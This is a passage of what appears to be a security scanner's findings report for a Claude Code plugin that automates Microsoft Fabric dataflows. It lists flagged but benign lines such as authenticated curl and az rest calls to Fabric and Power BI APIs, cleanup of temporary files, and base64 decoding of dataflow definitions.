    # Trigger the job — capture Location header for polling. # az rest cannot return response headers; use curl with an az-acquired token.
  • Network accessline 519
    # az rest cannot return response headers; use curl with an az-acquired token.
  • Network accessline 520
    [Credential-related source omitted]
  • Network accessline 521
    OP_URL=$(curl -sS -X POST \
  • Network accessline 568
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 569
    RESOURCE="https://api.fabric.microsoft.com"
  • Dangerous shell operationline 617
    rm -f /tmp/df_import_payload.json
  • Network accessline 650
    $api = "https://api.fabric.microsoft.com/v1"
  • Network accessline 651
    $resource = "https://api.fabric.microsoft.com"
  • Network accessline 684
    # Define .platform $platform = @{     "`$schema" = "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json"
  • Network accessline 685
    $platform = @{     "`$schema" = "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json"     metadata = @{ type = "Dataflow"; displayName = $DataflowName }
  • Network accessline 686
    "`$schema" = "https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json"
  • Network accessline 744
    $api = "https://api.fabric.microsoft.com/v1"
  • Network accessline 745
    $resource = "https://api.fabric.microsoft.com"
  • Network accessline 800
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 801
    RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 809
    [Credential-related source omitted]
  • Network accessline 810
    [Credential-related source omitted]
  • Network accessline 811
    HTTP_CODE=$(curl -sS -X POST \
  • Dangerous shell operationline 830
    rm -f "$GET_DEF_BODY" "$GET_DEF_HDR"
  • Network accessline 835
    ALL_CONNECTIONS=$(az rest --method get \   --resource "$RESOURCE" \   --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 836
    --resource "$RESOURCE" \   --url "https://api.fabric.microsoft.com/v1/connections" \   --query "value" -o json)
  • Network accessline 837
    --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 869
    else   echo "❌ Validation failed: $MISSING missing connection(s)"   echo "Run: az rest --method get --resource 'https://api.fabric.microsoft.com' --url 'https://api.fabric.microsoft.com/v1/connections' --query 'value[] | {id, name:displayNa
  • Network accessline 870
    echo "❌ Validation failed: $MISSING missing connection(s)"   echo "Run: az rest --method get --resource 'https://api.fabric.microsoft.com' --url 'https://api.fabric.microsoft.com/v1/connections' --query 'value[] | {id, name:displayName}'"  
  • Network accessline 871
    echo "Run: az rest --method get --resource 'https://api.fabric.microsoft.com' --url 'https://api.fabric.microsoft.com/v1/connections' --query 'value[] | {id, name:displayName}'"
  • Network accessline 888
    $api = "https://api.fabric.microsoft.com/v1"
  • Network accessline 889
    $resource = "https://api.fabric.microsoft.com"
  • Possible obfuscationline 925
    $queryMetaJson = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($queryMetaB64))
  • Network accessline 928
    # List all connections once for efficiency $allConnections = az rest --method get --resource $resource `     --url "https://api.fabric.microsoft.com/v1/connections" `
  • Network accessline 929
    $allConnections = az rest --method get --resource $resource      --url "https://api.fabric.microsoft.com/v1/connections"
  • Network accessline 930
    --url "https://api.fabric.microsoft.com/v1/connections" `
  • Network accessline 966
    Write-Error "Validation failed: $missing missing connection(s)"     Write-Host "To see available connections, run:"     Write-Host "  az rest --method get --resource 'https://api.fabric.microsoft.com' --url 'https://api.fabric.microsoft.com
  • Network accessline 967
    Write-Host "To see available connections, run:"     Write-Host "  az rest --method get --resource 'https://api.fabric.microsoft.com' --url 'https://api.fabric.microsoft.com/v1/connections' --query 'value[] | {id, name:displayName}'"     exi
  • Network accessline 968
    Write-Host "  az rest --method get --resource 'https://api.fabric.microsoft.com' --url 'https://api.fabric.microsoft.com/v1/connections' --query 'value[] | {id, name:displayName}'"
  • Network accessline 991
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 992
    RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 1000
    [Credential-related source omitted]
  • Network accessline 1001
    [Credential-related source omitted]
  • Network accessline 1002
    HTTP_CODE=$(curl -sS -X POST \
  • Dangerous shell operationline 1021
    rm -f "$GET_DEF_BODY" "$GET_DEF_HDR"
  • Network accessline 1026
    ALL_CONNECTIONS=$(az rest --method get      --resource "$RESOURCE"      --url "https://api.fabric.microsoft.com/v1/connections"
  • Network accessline 1028
    --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 1051
    # Trigger refresh   # az rest cannot return response headers; use curl with an az-acquired token to capture Location.
  • Network accessline 1052
    # az rest cannot return response headers; use curl with an az-acquired token to capture Location.
  • Network accessline 1053
    [Credential-related source omitted]
  • Network accessline 1054
    [Credential-related source omitted]
  • Network accessline 1055
    LOCATION=$(curl -sS -X POST \
  • Network accessline 1116
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 1117
    RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 1121
    # Step 1: Get current definition # getDefinition can return 200 (sync, body inline) or 202 + Location header (LRO) — handle both. # az rest cannot return response headers; use curl with an az-acquired token to capture Location.
  • Network accessline 1122
    # getDefinition can return 200 (sync, body inline) or 202 + Location header (LRO) — handle both. # az rest cannot return response headers; use curl with an az-acquired token to capture Location. echo "Step 1: Fetching definition..."
  • Network accessline 1123
    # az rest cannot return response headers; use curl with an az-acquired token to capture Location.
  • Network accessline 1125
    [Credential-related source omitted]
  • Network accessline 1126
    [Credential-related source omitted]
  • Network accessline 1127
    HTTP_CODE=$(curl -sS -X POST \
  • Dangerous shell operationline 1146
    rm -f "$GET_DEF_BODY" "$GET_DEF_HDR"
  • Network accessline 1159
    # cloud connections. List once; reuse across all conn ids. echo "Step 2: Retrieving ClusterIds..." PBI_RESOURCE="https://analysis.windows.net/powerbi/api"
  • Network accessline 1160
    echo "Step 2: Retrieving ClusterIds..." PBI_RESOURCE="https://analysis.windows.net/powerbi/api" declare -A CLUSTER_IDS
  • Network accessline 1161
    PBI_RESOURCE="https://analysis.windows.net/powerbi/api"
  • Network accessline 1162
    declare -A CLUSTER_IDS DS_LIST=$(az rest --method get --resource "$PBI_RESOURCE" \   --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources")
  • Network accessline 1163
    DS_LIST=$(az rest --method get --resource "$PBI_RESOURCE"    --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources")
  • Network accessline 1164
    --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources")
  • Network accessline 1209
    # updateDefinition can return 200 (sync) or 202 + Location (LRO). Use curl so we can
  • Network accessline 1212
    # stale connections[]. See § Fabric LRO Polling Pattern. UPDATE_HDR=$(mktemp); UPDATE_OUT=$(mktemp) UPDATE_CODE=$(curl -sS -X POST \
  • Network accessline 1213
    [Credential-related source omitted]
  • Network accessline 1214
    UPDATE_CODE=$(curl -sS -X POST \
  • Dangerous shell operationline 1235
    rm -f "$UPDATE_BODY" "$UPDATE_HDR" "$UPDATE_OUT"
  • Network accessline 1241
    echo "Step 5: Verifying connections[] survived save..." VERIFY_HDR=$(mktemp); VERIFY_BODY=$(mktemp) VERIFY_CODE=$(curl -sS -X POST \
  • Network accessline 1242
    [Credential-related source omitted]
  • Network accessline 1243
    VERIFY_CODE=$(curl -sS -X POST \
  • Dangerous shell operationline 1263
    rm -f "$VERIFY_HDR" "$VERIFY_BODY"
  • Network accessline 1288
    $api = "https://api.fabric.microsoft.com/v1"
  • Network accessline 1289
    $resource = "https://api.fabric.microsoft.com"
  • Possible obfuscationline 1328
    $queryMetaJson = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($queryMetaB64))
  • Network accessline 1338
    # returns PowerBIEntityNotFound for cloud connections. Write-Host "Step 2: Retrieving ClusterId for $ConnectionId..." $pbiResource = "https://analysis.windows.net/powerbi/api"
  • Network accessline 1339
    Write-Host "Step 2: Retrieving ClusterId for $ConnectionId..." $pbiResource = "https://analysis.windows.net/powerbi/api" $dsList = az rest --method get --resource $pbiResource `
  • Network accessline 1340
    $pbiResource = "https://analysis.windows.net/powerbi/api"
  • Network accessline 1341
    $dsList = az rest --method get --resource $pbiResource      --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" | ConvertFrom-Json
  • Network accessline 1342
    --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" | ConvertFrom-Json
  • Possible obfuscationline 1448
    $postQmJson = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($postQmB64))
  • Network accessline 1471
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 1472
    RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 1546
    $api      = "https://api.fabric.microsoft.com/v1"
  • Network accessline 1547
    $resource = "https://api.fabric.microsoft.com"
  • Network accessline 1632
    # ============== Config (caller fills these in) ============== $resource    = 'https://api.fabric.microsoft.com'
  • Network accessline 1633
    $resource    = 'https://api.fabric.microsoft.com'
  • Network accessline 1634
    $pbiResource = 'https://analysis.windows.net/powerbi/api'
  • Network accessline 1635
    $wsId        = '<workspace-guid>' $connId      = '<connection-guid>'            # PersonalCloud anonymous OData for the smoke test $sourceUrl   = 'http://services.odata.org/V3/Northwind/Northwind.svc'
  • Network accessline 1636
    $connId      = '<connection-guid>'            # PersonalCloud anonymous OData for the smoke test $sourceUrl   = 'http://services.odata.org/V3/Northwind/Northwind.svc' $sourceKind  = 'OData'
  • Network accessline 1637
    $sourceUrl   = 'http://services.odata.org/V3/Northwind/Northwind.svc'
  • Network accessline 1644
    # for cloud connections. $dsList = az rest --method get --resource $pbiResource `   --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" | ConvertFrom-Json
  • Network accessline 1645
    $dsList = az rest --method get --resource $pbiResource    --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" | ConvertFrom-Json
  • Network accessline 1646
    --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" | ConvertFrom-Json
  • Network accessline 1674
    $platform = @{   '$schema' = 'https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json'
  • Network accessline 1675
    '$schema' = 'https://developer.microsoft.com/json-schemas/fabric/gitIntegration/platformProperties/2.0.0/schema.json'

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring/charts/bar_chart.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring/charts/line_chart.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring/connection-management.md

  • Network accessline 9
    > **Authoritative API spec.** All schemas, field names, defaults, and credential shapes in this document are taken from Microsoft Learn: > - [List Connections](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/list-connecti
  • Network accessline 10
    > - [List Connections](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/list-connections)
  • Network accessline 11
    > - [Get Connection](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/get-connection)
  • Network accessline 12
    > - [List Supported Connection Types](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/list-supported-connection-types)
  • Network accessline 13
    > - [Create Connection](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/create-connection)
  • Network accessline 14
    > - [Test Connection](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/test-connection)
  • Network accessline 80
    Additional caller requirements: - **Service principals creating connections** require Fabric tenant admin enablement: see [*Service principals can create workspaces, connections, and deployment pipelines*](https://learn.microsoft.com/en-us/
  • Network accessline 81
    - **Service principals creating connections** require Fabric tenant admin enablement: see [*Service principals can create workspaces, connections, and deployment pipelines*](https://learn.microsoft.com/en-us/fabric/admin/service-admin-porta
  • Network accessline 114
    RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 115
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 198
    RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 199
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 397
    # az rest cannot capture response headers — use curl for the initial call so we can read Location.
  • Network accessline 398
    [Credential-related source omitted]
  • Network accessline 399
    [Credential-related source omitted]
  • Network accessline 400
    [Credential-related source omitted]
  • Dangerous shell operationline 422
    rm -f "$HDR" "$BODY"
  • Network accessline 461
    | URL | Returns | Notes | |---|---|---| | `GET https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources` | `{ value: [...] }` — flat, paginated array of cluster + datasource records, each with `clusterId`, `id`, `datasourceReference`
  • Network accessline 463
    | `GET https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources` | `{ value: [...] }` — flat, paginated array of cluster + datasource records, each with `clusterId`, `id`, `datasourceReference`, … | Canonical pattern. Filter by `id =
  • Network accessline 467
    > **Token audience.** The list endpoint accepts the Power BI audience (`https://analysis.windows.net/powerbi/api` — **no** trailing slash; the slashed form fails AADSTS500011). The Fabric token (`https://api.fabric.microsoft.com/`) is also 
  • Network accessline 470
    PBI_RESOURCE="https://analysis.windows.net/powerbi/api"
  • Network accessline 473
    CLUSTER_ID=$(az rest --method get \   --resource "$PBI_RESOURCE" \   --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \
  • Network accessline 474
    --resource "$PBI_RESOURCE" \   --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \   --query "value[?id=='$CONN_ID'] | [0].clusterId" --output tsv)
  • Network accessline 475
    --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" \
  • Network accessline 502
    > **⚠ LRO caveat:** the `getDefinition` call below assumes a synchronous 200 response. For production code, handle **202 + Location** with the LRO-aware curl pattern (see [authoring-cli-quickref.md § Validate All Connections in a Dataflow](
  • Network accessline 601
    > **Out of scope for ready-to-run templates.** Generating `encryptedCredentials` requires fetching the gateway member's RSA public key and serializing the credential payload according to Microsoft's encryption format. See [*Configure creden
  • Network accessline 626
    - **Connection sharing / role assignments** — granting other principals access to use the connection. - **OAuth2 connection authoring** — interactive only (portal / UI); the API rejects `OAuth2` in `POST /v1/connections` with `InvalidInput`
  • Network accessline 627
    - **OAuth2 connection authoring** — interactive only (portal / UI); the API rejects `OAuth2` in `POST /v1/connections` with `InvalidInput` (see [Troubleshooting](#troubleshooting)). - **On-premises gateway credential encryption** — see Micr
  • Network accessline 628
    - **On-premises gateway credential encryption** — see Microsoft's [*Configure credentials programmatically*](https://learn.microsoft.com/en-us/power-bi/developer/embedded/configure-credentials) for the RSA encryption format.

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring/connectors.md

  • Network accessline 36
    Microsoft Learn documents `Web.Page` and `Web.BrowserContents` as available in cloud dataflows through an on-premises data gateway. See [Using a gateway with the Web connector](https://learn.microsoft.com/en-us/power-query/connectors/web/we
  • Network accessline 38
    [Using a gateway with the Web connector](https://learn.microsoft.com/en-us/power-query/connectors/web/web-troubleshoot#using-a-gateway-with-the-web-connector).
  • Network accessline 156
    Html.Table(Web.Contents("https://example.com/page"),
  • Network accessline 167
    Csv.Document(Web.Contents("https://example.com/data.csv"),
  • Network accessline 183
    Lines.FromBinary(Web.Contents("https://example.com/log.txt"))

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring/mashup-preview.md

  • Network accessline 30
    POST https://api.fabric.microsoft.com/v1/workspaces/{workspaceId}/dataflows/{dataflowId}/executeQuery
  • Network accessline 45
    - AAD/Entra access token. Audience: **Power BI** (`https://analysis.windows.net/powerbi/api`, **no** trailing slash) for `ClusterId` lookups against `api.powerbi.com/v2.0/...`; **Fabric** (`https://api.fabric.microsoft.com/`) for `executeQu
  • Network accessline 56
    1. **Dataflow exists** in the target workspace. 2. **Connections bound** — every data source referenced by the M document must have a connection bound to the dataflow via its `queryMetadata.json connections[]` array. Binding is persisted th
  • Network accessline 57
    2. **Connections bound** — every data source referenced by the M document must have a connection bound to the dataflow via its `queryMetadata.json connections[]` array. Binding is persisted through `updateDefinition`, **not** through this e
  • Network accessline 58
    3. **Cloud connection JSON form** — each bound cloud connection is stored as a JSON string of the form `{"ClusterId":"<guid>","DatasourceId":"<guid>"}`. `ClusterId` is obtained from Power BI v2: `GET https://api.powerbi.com/v2.0/myorg/me/ga
  • Network accessline 251
    [Credential-related source omitted]
  • Network accessline 260
    curl -sS -X POST \
  • Network accessline 261
    "https://api.fabric.microsoft.com/v1/workspaces/$WS/dataflows/$DF/executeQuery" \
  • Network accessline 272
    [Credential-related source omitted]
  • Network accessline 276
    } | ConvertTo-Json Invoke-WebRequest -Method POST `   -Uri "https://api.fabric.microsoft.com/v1/workspaces/$WS/dataflows/$DF/executeQuery" `
  • Network accessline 277
    Invoke-WebRequest -Method POST    -Uri "https://api.fabric.microsoft.com/v1/workspaces/$WS/dataflows/$DF/executeQuery"
  • Network accessline 278
    -Uri "https://api.fabric.microsoft.com/v1/workspaces/$WS/dataflows/$DF/executeQuery" `
  • Network accessline 290
    resp = httpx.post(
  • Network accessline 291
    f"https://api.fabric.microsoft.com/v1/workspaces/{ws}/dataflows/{df}/executeQuery",
  • Network accessline 318
    STATUS=$(curl -sS -D headers.txt -o result.arrow -w '%{http_code}' \
  • Network accessline 319
    -X POST "https://api.fabric.microsoft.com/v1/workspaces/$WS/dataflows/$DF/executeQuery" \
  • Network accessline 328
    while :; do     sleep "${RETRY:-2}"     STATUS=$(curl -sS -D headers.txt -o result.arrow -w '%{http_code}' \
  • Network accessline 329
    [Credential-related source omitted]
  • Network accessline 330
    STATUS=$(curl -sS -D headers.txt -o result.arrow -w '%{http_code}' \
  • Network accessline 342
    $resp = Invoke-WebRequest -Method POST `   -Uri "https://api.fabric.microsoft.com/v1/workspaces/$WS/dataflows/$DF/executeQuery" `
  • Network accessline 343
    -Uri "https://api.fabric.microsoft.com/v1/workspaces/$WS/dataflows/$DF/executeQuery" `
  • Network accessline 367
    url = f"https://api.fabric.microsoft.com/v1/workspaces/{ws}/dataflows/{df}/executeQuery"
  • Network accessline 370
    resp = httpx.post(url, headers=hdr, json=body, timeout=120)
  • Network accessline 371
    while resp.status_code == 202:     time.sleep(int(resp.headers.get("Retry-After", "2")))     resp = httpx.get(resp.headers["Location"], headers=hdr, timeout=120)
  • Network accessline 372
    time.sleep(int(resp.headers.get("Retry-After", "2")))     resp = httpx.get(resp.headers["Location"], headers=hdr, timeout=120) resp.raise_for_status()
  • Network accessline 373
    resp = httpx.get(resp.headers["Location"], headers=hdr, timeout=120)

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/authoring/output-destinations.md

  • Network accessline 178
    | 1 | Discover target artifact ID (lakehouse, warehouse, etc.) | `GET /v1/workspaces/{ws}/{itemType}s` | | 2 | Find the destination connection | `GET /v1/connections` + filter by type | | 3 | Resolve ClusterId for connection binding | `GET 
  • Network accessline 180
    | 3 | Resolve ClusterId for connection binding | `GET https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources` ⚠<U+FE0F> |
  • Network accessline 198
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 199
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 200
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 283
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 284
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 285
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses" \
  • Network accessline 322
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 323
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 324
    --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 359
    > **Critical: Path matching.** The `path` value in `queryMetadata.json connections[]` and the URL in the M code must **exactly match** the connection's `connectionDetails.path`. If the connection was created with a trailing slash (e.g., `ht
  • Network accessline 364
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 365
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 366
    --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 406
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 407
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 408
    --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 493
    $LH_ID = "<lakehouseId>" $DF_NAME = "my-od-dataflow" $RESOURCE = "https://api.fabric.microsoft.com"
  • Network accessline 494
    $DF_NAME = "my-od-dataflow" $RESOURCE = "https://api.fabric.microsoft.com" $API = "$RESOURCE/v1"
  • Network accessline 495
    $RESOURCE = "https://api.fabric.microsoft.com"
  • Network accessline 497
    $PBI_RESOURCE = "https://analysis.windows.net/powerbi/api"
  • Network accessline 513
    # Step 3: Resolve ClusterId $CLUSTER_ID = az rest --method get --resource $PBI_RESOURCE `   --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" `
  • Network accessline 514
    $CLUSTER_ID = az rest --method get --resource $PBI_RESOURCE    --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources"
  • Network accessline 515
    --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" `
  • Possible obfuscationline 603
    [Convert]::FromBase64String(
  • Network accessline 632
    $WH_ID = "<warehouseId>" $DF_NAME = "my-warehouse-od-dataflow" $RESOURCE = "https://api.fabric.microsoft.com"
  • Network accessline 633
    $DF_NAME = "my-warehouse-od-dataflow" $RESOURCE = "https://api.fabric.microsoft.com" $API = "$RESOURCE/v1"
  • Network accessline 634
    $RESOURCE = "https://api.fabric.microsoft.com"
  • Network accessline 636
    $PBI_RESOURCE = "https://analysis.windows.net/powerbi/api"
  • Network accessline 652
    # Step 3: Resolve ClusterId $CLUSTER_ID = az rest --method get --resource $PBI_RESOURCE `   --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" `
  • Network accessline 653
    $CLUSTER_ID = az rest --method get --resource $PBI_RESOURCE    --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources"
  • Network accessline 654
    --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" `
  • Possible obfuscationline 744
    [Convert]::FromBase64String(
  • Network accessline 773
    # Prerequisites: az login, ADX connection pre-created in portal, database writable. $WS_ID = "<workspaceId>" $ADX_CLUSTER = "https://mycluster.northeurope.kusto.windows.net/"  # Must match connection path EXACTLY
  • Network accessline 774
    $WS_ID = "<workspaceId>" $ADX_CLUSTER = "https://mycluster.northeurope.kusto.windows.net/"  # Must match connection path EXACTLY $ADX_DB = "MyDatabase"
  • Network accessline 775
    $ADX_CLUSTER = "https://mycluster.northeurope.kusto.windows.net/"  # Must match connection path EXACTLY
  • Network accessline 776
    $ADX_DB = "MyDatabase" $DF_NAME = "my-adx-od-dataflow" $RESOURCE = "https://api.fabric.microsoft.com"
  • Network accessline 777
    $DF_NAME = "my-adx-od-dataflow" $RESOURCE = "https://api.fabric.microsoft.com" $API = "$RESOURCE/v1"
  • Network accessline 778
    $RESOURCE = "https://api.fabric.microsoft.com"
  • Network accessline 780
    $PBI_RESOURCE = "https://analysis.windows.net/powerbi/api"
  • Network accessline 796
    # Step 3: Resolve ClusterId $ADX_CLUSTER_ID = az rest --method get --resource $PBI_RESOURCE `   --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" `
  • Network accessline 797
    $ADX_CLUSTER_ID = az rest --method get --resource $PBI_RESOURCE    --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources"
  • Network accessline 798
    --url "https://api.powerbi.com/v2.0/myorg/me/gatewayClusterDatasources" `
  • Possible obfuscationline 884
    [Convert]::FromBase64String(

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/consumption.md

  • Network accessline 91
    # Find workspace ID by name WS_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 92
    WS_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 93
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 94
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 97
    # Find dataflow ID by name within workspace DF_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 98
    DF_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 99
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 100
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows" \
  • Network accessline 108
    WS_ID="<workspaceId>" DF_ID="<dataflowId>" API="https://api.fabric.microsoft.com/v1"
  • Network accessline 109
    DF_ID="<dataflowId>" API="https://api.fabric.microsoft.com/v1" AZ="az rest --resource https://api.fabric.microsoft.com"
  • Network accessline 110
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 111
    AZ="az rest --resource https://api.fabric.microsoft.com"
  • Network accessline 123
    # 1. List workspaces → find target az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 124
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 127
    # 2. List dataflows → enumerate all az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 128
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 132
    # 3. Get dataflow properties az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 133
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 139
    #    "this dataflow has no parameters" and report it plainly — do NOT surface the #    raw error. Optionally confirm by checking mashup.pq for `IsParameterQuery`. az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 140
    #    raw error. Optionally confirm by checking mashup.pq for `IsParameterQuery`. az rest --method get --resource "https://api.fabric.microsoft.com" \   --url "$API/workspaces/$WS_ID/dataflows/$DF_ID/parameters" \
  • Network accessline 141
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 145
    # 5. Get definition → decode mashup.pq RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 146
    RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 150
    # 6. Check job history az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 151
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 173
    - **Always `az login` first** — `az rest` uses the active session. No session → cryptic failure. - **Always `--resource "https://api.fabric.microsoft.com"`** — wrong audience = 401. - **Handle pagination** — repeat requests with `continuati
  • Network accessline 174
    - **Always `--resource "https://api.fabric.microsoft.com"`** — wrong audience = 401. - **Handle pagination** — repeat requests with `continuationToken` until absent/null. - **Handle LRO for `getDefinition`** — may return `202 Accepted` with
  • Network accessline 199
    | Symptom | Cause | Fix | |---|---|---| | `401 Unauthorized` | Token expired or wrong audience | `az login`; ensure `--resource "https://api.fabric.microsoft.com"` |
  • Network accessline 200
    |---|---|---| | `401 Unauthorized` | Token expired or wrong audience | `az login`; ensure `--resource "https://api.fabric.microsoft.com"` | | `403 Forbidden` on `getDefinition` | Viewer role (Read-only) | Requires Contributor role or higher
  • Network accessline 201
    | `401 Unauthorized` | Token expired or wrong audience | `az login`; ensure `--resource "https://api.fabric.microsoft.com"` |
  • Network accessline 223
    az rest --method get \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows" \
  • Network accessline 224
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows" \
  • Network accessline 225
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 236
    # Step 1: Request definition (POST returns 202 with Location header). # az rest cannot expose response headers, so capture Location via curl + az-acquired token.
  • Network accessline 237
    # az rest cannot expose response headers, so capture Location via curl + az-acquired token.
  • Network accessline 238
    [Credential-related source omitted]
  • Network accessline 239
    LOCATION=$(curl -sS -X POST \
  • Network accessline 240
    [Credential-related source omitted]
  • Network accessline 241
    "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/getDefinition" \
  • Network accessline 244
    # Step 2: Poll until definition is ready DEF=$(az rest --method get --url "${LOCATION}" \   --resource "https://api.fabric.microsoft.com")
  • Network accessline 245
    DEF=$(az rest --method get --url "${LOCATION}"    --resource "https://api.fabric.microsoft.com")
  • Network accessline 246
    --resource "https://api.fabric.microsoft.com")
  • Possible obfuscationline 254
    print(base64.b64decode(p['payload']).decode('utf-8'))
  • Network accessline 265
    # Get recent job instances for a dataflow az rest --method get \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/jobs/instances?limit=5" \
  • Network accessline 266
    az rest --method get    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/jobs/instances?limit=5"
  • Network accessline 267
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/jobs/instances?limit=5" \
  • Network accessline 268
    --resource "https://api.fabric.microsoft.com" \
  • Possible obfuscationline 285
    meta = json.loads(base64.b64decode(p['payload']).decode('utf-8'))
  • Network accessline 337
    # Step 3: Execute the query (raw Apache Arrow IPC stream is written directly to disk) az rest --method post \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/executeQuery" \
  • Network accessline 338
    az rest --method post    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/executeQuery"
  • Network accessline 339
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/executeQuery" \
  • Network accessline 340
